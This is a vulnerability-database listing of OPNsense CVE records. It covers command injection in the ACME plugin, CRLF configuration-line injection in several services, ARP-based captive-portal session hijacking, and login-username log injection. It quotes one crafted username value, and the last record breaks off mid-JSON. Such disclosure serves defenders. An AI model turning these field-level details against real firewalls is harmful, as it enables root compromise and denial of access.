Search
Find a vulnerability
Search criteria
122 vulnerabilities by Opnsense
CVE-2026-123025 (GCVE-0-2026-123025)
Vulnerability from nvd – Published: 2026-11-05 06:29 – Updated: 2026-11-05 06:29 X_Open Source
VLAI
EPSS
VEX
Summary
An OS Command Injection vulnerability was discovered in the Google Cloud DNS validation module of the OPNsense os-acme-client plugin through 4.17. The DnsGcloud::prepare() method decodes the dns_gcloud_key model field and directly interpolates the string fields gcloud_account and gcloud_project into a shell command passed to proc_open() via LeUtils::run_shell_command() without any validation or escaping. A remote authenticated user with privileges to issue or renew certificates through the WebGUI/API can achieve arbitrary code execution as root.
Severity
CWE
- CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| OPNsense | os-acme-client |
Affected:
0 , ≤ 4.17.0
(semver)
|
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unknown",
"platforms": [
"FreeBSD"
],
"product": "os-acme-client",
"repo": "https://github.com/opnsense/plugins",
"vendor": "OPNsense",
"versions": [
{
"lessThanOrEqual": "4.17.0",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "An OS Command Injection vulnerability was discovered in the Google Cloud DNS validation module of the OPNsense os-acme-client plugin through 4.17. The DnsGcloud::prepare() method decodes the dns_gcloud_key model field and directly interpolates the string fields gcloud_account and gcloud_project into a shell command passed to proc_open() via LeUtils::run_shell_command() without any validation or escaping. A remote authenticated user with privileges to issue or renew certificates through the WebGUI/API can achieve arbitrary code execution as root."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 9.4,
"baseSeverity": "CRITICAL",
"privilegesRequired": "LOW",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "HIGH",
"subConfidentialityImpact": "HIGH",
"subIntegrityImpact": "HIGH",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78 Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-05T06:29:05.916Z",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"url": "https://github.com/opnsense/plugins/pull/5873"
}
],
"tags": [
"x_open-source"
],
"x_generator": {
"engine": "CVE-Request-form 0.0.1"
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2026-123025",
"datePublished": "2026-11-05T06:29:05.916Z",
"dateReserved": "2026-11-05T06:29:05.539Z",
"dateUpdated": "2026-11-05T06:29:05.916Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-57154 (GCVE-0-2026-57154)
Vulnerability from nvd – Published: 2026-11-03 18:10 – Updated: 2026-11-03 18:10
VLAI
EPSS
VEX
Title
OPNsense: Configuration line injection via multiple GUI text fields
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.11 and 26.4.1p1, authenticated Web UI or API users with delegated access to affected settings can submit CR or LF characters in fields expected to contain one line, causing generated privileged service configuration files to contain additional attacker-controlled directives or policy lines. The confirmed Dnsmasq path includes dhcp_boot.filename, dhcp_boot.servername, dhcp_boot.address, and dhcp_options.value, which are rendered into /usr/local/etc/dnsmasq.conf; access through page-services-dnsforwarder covers api/dnsmasq/*. Related affected fields span OpenVPN, DHCPv6, Unbound, IPsec, NTP, PPP or MPD, Monit, firewall, sudo, WebGUI, and System General configuration. Applying or restarting the affected service can alter behavior beyond the delegated setting, create service-side files, cross RBAC boundaries, or cause denial of service. Line injection through Monit mail password and adjacent Monit text fields into /usr/local/etc/monitrc demonstrated root command execution. Arbitrary shell command execution was not confirmed for the Dnsmasq path. This issue is fixed in versions 26.1.11 and 26.4.1p1.
Severity
8.1 (High)
CWE
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/52b18e67a… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/6c3be9a11… | x_refsource_MISC |
{
"containers": {
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.11 and 26.4.1p1, authenticated Web UI or API users with delegated access to affected settings can submit CR or LF characters in fields expected to contain one line, causing generated privileged service configuration files to contain additional attacker-controlled directives or policy lines. The confirmed Dnsmasq path includes dhcp_boot.filename, dhcp_boot.servername, dhcp_boot.address, and dhcp_options.value, which are rendered into /usr/local/etc/dnsmasq.conf; access through page-services-dnsforwarder covers api/dnsmasq/*. Related affected fields span OpenVPN, DHCPv6, Unbound, IPsec, NTP, PPP or MPD, Monit, firewall, sudo, WebGUI, and System General configuration. Applying or restarting the affected service can alter behavior beyond the delegated setting, create service-side files, cross RBAC boundaries, or cause denial of service. Line injection through Monit mail password and adjacent Monit text fields into /usr/local/etc/monitrc demonstrated root command execution. Arbitrary shell command execution was not confirmed for the Dnsmasq path. This issue is fixed in versions 26.1.11 and 26.4.1p1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-74",
"description": "CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-93",
"description": "CWE-93: Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-03T18:10:28.787Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-fq94-cxvc-9r7w",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-fq94-cxvc-9r7w"
},
{
"name": "https://github.com/opnsense/core/commit/52b18e67a9ec4596a64ac3a53f3aa102ced55293",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/52b18e67a9ec4596a64ac3a53f3aa102ced55293"
},
{
"name": "https://github.com/opnsense/core/commit/6c3be9a11699879fe50aea1c30e50de5864601d7",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/6c3be9a11699879fe50aea1c30e50de5864601d7"
}
],
"source": {
"advisory": "GHSA-fq94-cxvc-9r7w",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Configuration line injection via multiple GUI text fields"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-57154",
"datePublished": "2026-11-03T18:10:28.787Z",
"dateReserved": "2026-06-24T01:45:48.698Z",
"dateUpdated": "2026-11-03T18:10:28.787Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-119560 (GCVE-0-2026-119560)
Vulnerability from nvd – Published: 2026-10-30 11:31 – Updated: 2026-10-30 15:54
VLAI
EPSS
VEX
Title
OPNsense core through 26.7.8 NTP Configuration Injection via GPS and PPS Fudge Fields
Summary
OPNsense core through 26.7.8 contains a configuration injection vulnerability that allows authenticated users to append ntpd.conf directives by embedding newlines in the fudge and refid fields. Attackers holding the page-services-ntp-gps or PPS privilege can submit CR/LF characters via services_ntpd_gps.php or services_ntpd_pps.php to inject directives loaded by ntpd running as root.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-30 15:21 UTC
CWE
- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
Assigner
References
6 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/blob/26.7.8/src/… | technical-description |
| https://github.com/opnsense/core/blob/26.7.8/src/… | technical-description |
| https://github.com/opnsense/core/security/advisor… | relatedvendor-advisory |
| https://abraxaslabs.tech/research/opnsense-ntp-gp… | third-party-advisory |
| https://github.com/opnsense/core | product |
| https://www.vulncheck.com/advisories/opnsense-cor… | third-party-advisory |
Impacted products
Date Public
2026-10-13 00:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-119560",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-30T15:21:08.046274Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T15:54:16.495Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:github/opnsense/core",
"product": "core",
"repo": "https://github.com/opnsense/core",
"vendor": "opnsense",
"versions": [
{
"lessThanOrEqual": "26.7.8",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*",
"versionEndIncluding": "26.7.8",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Abraxas Labs"
}
],
"datePublic": "2026-10-13T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "OPNsense core through 26.7.8 contains a configuration injection vulnerability that allows authenticated users to append ntpd.conf directives by embedding newlines in the fudge and refid fields. Attackers holding the page-services-ntp-gps or PPS privilege can submit CR/LF characters via services_ntpd_gps.php or services_ntpd_pps.php to inject directives loaded by ntpd running as root."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 6,
"baseSeverity": "MEDIUM",
"privilegesRequired": "LOW",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-93",
"description": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T11:31:08.977Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://github.com/opnsense/core/blob/26.7.8/src/etc/inc/plugins.inc.d/ntpd.inc#L285-L312"
},
{
"tags": [
"technical-description"
],
"url": "https://github.com/opnsense/core/blob/26.7.8/src/www/services_ntpd_gps.php#L49"
},
{
"name": "GitHub Security Advisory (GHSA-fq94-cxvc-9r7w)",
"tags": [
"related",
"vendor-advisory"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-fq94-cxvc-9r7w"
},
{
"tags": [
"third-party-advisory"
],
"url": "https://abraxaslabs.tech/research/opnsense-ntp-gps-fudge"
},
{
"tags": [
"product"
],
"url": "https://github.com/opnsense/core"
},
{
"name": "VulnCheck Advisory: OPNsense core through 26.7.8 NTP Configuration Injection via GPS and PPS Fudge Fields",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/opnsense-core-through-26.7.8-ntp-configuration-injection-via-gps-and-pps-fudge-fields"
}
],
"title": "OPNsense core through 26.7.8 NTP Configuration Injection via GPS and PPS Fudge Fields",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-119560",
"datePublished": "2026-10-30T11:31:08.977Z",
"dateReserved": "2026-10-30T10:53:29.701Z",
"dateUpdated": "2026-10-30T15:54:16.495Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-119425 (GCVE-0-2026-119425)
Vulnerability from nvd – Published: 2026-10-30 11:30 – Updated: 2026-10-30 15:55
VLAI
EPSS
VEX
Title
OPNsense 26.1.6 through 26.7.7 Captive Portal Session Takeover via Forged ARP
Summary
OPNsense core 26.1.6 through 26.7.7 contains an authentication bypass vulnerability in the captive portal roaming feature that lets unauthenticated attackers hijack authorized client sessions by spoofing unauthenticated MAC-to-IP observations. Attackers on the same Layer-2 segment can send forged gratuitous ARP replies binding their IP to a victim's MAC, gaining portal access with traffic attributed to the victim.
Severity
5.4 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-30 15:20 UTC
CWE
- CWE-290 - Authentication Bypass by Spoofing
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | vendor-advisory |
| https://github.com/opnsense/core/commit/f46836d0c… | patch |
| https://github.com/opnsense/core/commit/32dc2a3e5… | patch |
| https://github.com/opnsense/core/blob/26.7.7/src/… | technical-description |
| https://abraxaslabs.tech/research/opnsense-captiv… | third-party-advisory |
| https://github.com/opnsense/core | product |
| https://www.vulncheck.com/advisories/opnsense-26.… | third-party-advisory |
Impacted products
Date Public
2026-08-26 00:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-119425",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-30T15:20:58.656589Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T15:55:05.938Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:github/opnsense/core",
"product": "core",
"repo": "https://github.com/opnsense/core",
"vendor": "opnsense",
"versions": [
{
"lessThanOrEqual": "26.7.7",
"status": "affected",
"version": "26.1.6",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*",
"versionEndIncluding": "26.7.7",
"versionStartIncluding": "26.1.6",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "lujiefsi"
},
{
"lang": "en",
"type": "reporter",
"value": "Abraxas Labs"
}
],
"datePublic": "2026-08-26T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "OPNsense core 26.1.6 through 26.7.7 contains an authentication bypass vulnerability in the captive portal roaming feature that lets unauthenticated attackers hijack authorized client sessions by spoofing unauthenticated MAC-to-IP observations. Attackers on the same Layer-2 segment can send forged gratuitous ARP replies binding their IP to a victim\u0027s MAC, gaining portal access with traffic attributed to the victim."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "ADJACENT",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "ADJACENT_NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-290",
"description": "Authentication Bypass by Spoofing",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T11:30:55.121Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "GitHub Security Advisory (GHSA-864r-q4j5-5mjq)",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-864r-q4j5-5mjq"
},
{
"name": "Incomplete fix",
"tags": [
"patch"
],
"url": "https://github.com/opnsense/core/commit/f46836d0c3d14e26d79214009bfbfa9a1eecab55"
},
{
"name": "Incomplete fix (stable/26.7)",
"tags": [
"patch"
],
"url": "https://github.com/opnsense/core/commit/32dc2a3e52eefef5251077f315a0f3243eedb834"
},
{
"tags": [
"technical-description"
],
"url": "https://github.com/opnsense/core/blob/26.7.7/src/opnsense/scripts/captiveportal/cp-background-process.py#L78"
},
{
"tags": [
"third-party-advisory"
],
"url": "https://abraxaslabs.tech/research/opnsense-captive-lastseen-roam"
},
{
"tags": [
"product"
],
"url": "https://github.com/opnsense/core"
},
{
"name": "VulnCheck Advisory: OPNsense 26.1.6 through 26.7.7 Captive Portal Session Takeover via Forged ARP",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/opnsense-26.1.6-through-26.7.7-captive-portal-session-takeover-via-forged-arp"
}
],
"title": "OPNsense 26.1.6 through 26.7.7 Captive Portal Session Takeover via Forged ARP",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-119425",
"datePublished": "2026-10-30T11:30:55.121Z",
"dateReserved": "2026-10-30T02:41:13.938Z",
"dateUpdated": "2026-10-30T15:55:05.938Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-119424 (GCVE-0-2026-119424)
Vulnerability from nvd – Published: 2026-10-30 11:30 – Updated: 2026-10-30 11:30
VLAI
EPSS
VEX
Title
OPNsense before 26.7.8 Wireless WPA Configuration Line Injection via Identity
Summary
OPNsense core before 26.7.8 contains a configuration line injection vulnerability that allows authenticated users with wireless-edit privilege to inject directives by embedding CR/LF characters in WPA fields. Attackers can place newlines in wpa.identity, wpa.passphrase, or RADIUS shared secrets to append arbitrary wpa_supplicant or hostapd directives loaded by root-run daemons.
Severity
6.8 (Medium)
CWE
- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/commit/9f1eac0f9… | patch |
| https://github.com/opnsense/core/commit/3bbd714b4… | patch |
| https://github.com/opnsense/core/blob/26.7.7/src/… | technical-description |
| https://github.com/opnsense/core/blob/26.7.7/src/… | technical-description |
| https://abraxaslabs.tech/research/opnsense-wlan-w… | third-party-advisory |
| https://github.com/opnsense/core | product |
| https://www.vulncheck.com/advisories/opnsense-bef… | third-party-advisory |
Impacted products
Date Public
2026-10-14 00:00
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:github/opnsense/core",
"product": "core",
"repo": "https://github.com/opnsense/core",
"vendor": "opnsense",
"versions": [
{
"lessThan": "26.7.8",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*",
"versionEndExcluding": "26.7.8",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Abraxas Labs"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Ad Schellevis"
}
],
"datePublic": "2026-10-14T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "OPNsense core before 26.7.8 contains a configuration line injection vulnerability that allows authenticated users with wireless-edit privilege to inject directives by embedding CR/LF characters in WPA fields. Attackers can place newlines in wpa.identity, wpa.passphrase, or RADIUS shared secrets to append arbitrary wpa_supplicant or hostapd directives loaded by root-run daemons."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"privilegesRequired": "LOW",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-93",
"description": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T11:30:54.395Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"tags": [
"patch"
],
"url": "https://github.com/opnsense/core/commit/9f1eac0f9bdf705766ab61f9d62b9d55757fd0da"
},
{
"tags": [
"patch"
],
"url": "https://github.com/opnsense/core/commit/3bbd714b4c4b60f164e2e908501f208d3eadf645"
},
{
"tags": [
"technical-description"
],
"url": "https://github.com/opnsense/core/blob/26.7.7/src/opnsense/mvc/app/models/OPNsense/Interfaces/Wlan.xml#L185"
},
{
"tags": [
"technical-description"
],
"url": "https://github.com/opnsense/core/blob/26.7.7/src/etc/inc/interfaces.inc#L1901"
},
{
"tags": [
"third-party-advisory"
],
"url": "https://abraxaslabs.tech/research/opnsense-wlan-wpa-line"
},
{
"tags": [
"product"
],
"url": "https://github.com/opnsense/core"
},
{
"name": "VulnCheck Advisory: OPNsense before 26.7.8 Wireless WPA Configuration Line Injection via Identity",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/opnsense-before-26.7.8-wireless-wpa-configuration-line-injection-via-identity"
}
],
"title": "OPNsense before 26.7.8 Wireless WPA Configuration Line Injection via Identity",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-119424",
"datePublished": "2026-10-30T11:30:54.395Z",
"dateReserved": "2026-10-30T02:41:13.590Z",
"dateUpdated": "2026-10-30T11:30:54.395Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-119423 (GCVE-0-2026-119423)
Vulnerability from nvd – Published: 2026-10-30 11:30 – Updated: 2026-11-04 15:05
VLAI
EPSS
VEX
Title
OPNsense core before 26.7.8 Lockout IP Planting via WebGUI Login Username
Summary
OPNsense core before 26.7.8 contains a log injection vulnerability that allows unauthenticated attackers to plant victim IP addresses in the lockout_handler by submitting crafted WebGUI login usernames. Attackers can submit usernames like 'Invalid user <victim-ip>' repeatedly to add the victim to the sshlockout table, blocking SSH and WebGUI access and killing its pf states.
Severity
5.3 (Medium)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-11-04 15:05 UTC
CWE
- CWE-117 - Improper Output Neutralization for Logs
Assigner
References
8 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/commit/14f8f7dd1… | patch |
| https://github.com/opnsense/core/commit/2076f2c19… | patch |
| https://github.com/opnsense/core/blob/26.7.7/src/… | technical-description |
| https://github.com/opnsense/core/blob/26.7.7/src/… | technical-description |
| https://github.com/opnsense/core/security/advisor… | vendor-advisory |
| https://abraxaslabs.tech/research/opnsense-lockou… | third-party-advisory |
| https://github.com/opnsense/core | product |
| https://www.vulncheck.com/advisories/opnsense-cor… | third-party-advisory |
Impacted products
Date Public
2026-10-14 00:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-119423",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-11-04T15:05:24.381582Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-11-04T15:05:35.901Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:github/opnsense/core",
"product": "core",
"repo": "https://github.com/opnsense/core",
"vendor": "opnsense",
"versions": [
{
"lessThan": "26.7.8",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*",
"versionEndExcluding": "26.7.8",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Abraxas Labs"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Ad Schellevis"
}
],
"datePublic": "2026-10-14T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "OPNsense core before 26.7.8 contains a log injection vulnerability that allows unauthenticated attackers to plant victim IP addresses in the lockout_handler by submitting crafted WebGUI login usernames. Attackers can submit usernames like \u0027Invalid user \u003cvictim-ip\u003e\u0027 repeatedly to add the victim to the sshlockout table, blocking SSH and WebGUI access and killing its pf states."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
